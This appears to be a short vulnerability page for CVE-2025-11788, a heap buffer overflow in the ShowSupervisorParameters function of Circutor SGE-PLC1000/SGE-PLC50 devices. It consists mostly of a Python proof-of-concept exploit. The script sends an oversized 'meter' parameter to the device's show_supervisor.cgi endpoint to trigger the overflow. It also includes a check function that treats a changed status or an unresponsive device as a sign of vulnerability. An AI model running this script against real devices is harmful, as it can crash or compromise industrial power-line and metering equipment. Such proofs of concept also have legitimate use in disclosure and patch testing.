CVE-2025-11788: Circutor SGE-PLC设备ShowSupervisorParameters函数堆溢出漏洞

import requests # CVE-2025-11788 PoC - Circutor SGE-PLC Heap Buffer Overflow # Target: Circutor SGE-PLC1000/SGE-PLC50 # Vulnerability: Heap-based buffer overflow in ShowSupervisorParameters() TARGET_IP = "192.168.1.100" TARGET_PORT = 80 TARGET_URL = f"http://{TARGET_IP}:{TARGET_PORT}/cgi-bin/show_supervisor.cgi" # Generate oversized payload for meter parameter # The sprintf() function copies user input to fixed-size buffer without validation PAYLOAD_SIZE = 5000 # Large enough to overflow the buffer meter_payload = "A" * PAYLOAD_SIZE def exploit_buffer_overflow(): """ Exploit the heap buffer overflow in ShowSupervisorParameters() function. The GetParameter(meter) retrieves user input which is directly copied to a fixed-size buffer via sprintf() without size checking. """ params = { 'meter': meter_payload, 'action': 'show' } try: # Send malicious request to trigger overflow response = requests.get(TARGET_URL, params=params, timeout=10) print(f"[*] Request sent with payload size: {len(meter_payload)}") print(f"[*] Response status: {response.status_code}") # Check for signs of successful exploitation if response.status_code == 200: print("[+] Request completed - check device stability") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def check_vulnerability(): """ Check if target is vulnerable by examining response to normal vs oversized input. """ # Normal request normal_params = {'meter': 'test', 'action': 'show'} try: normal_resp = requests.get(TARGET_URL, params=normal_params, timeout=10) # Oversized request large_resp = requests.get(TARGET_URL, params={'meter': 'X' * 2048, 'action': 'show'}, timeout=10) # If device becomes unresponsive or returns error, likely vulnerable if large_resp.status_code != normal_resp.status_code: print("[!] Target appears vulnerable to buffer overflow") return True except: print("[!] Target may be vulnerable - device unresponsive") return True return False if __name__ == "__main__": print("[*] CVE-2025-11788 PoC for Circutor SGE-PLC") print("[*] Target: ShowSupervisorParameters() heap overflow") check_vulnerability()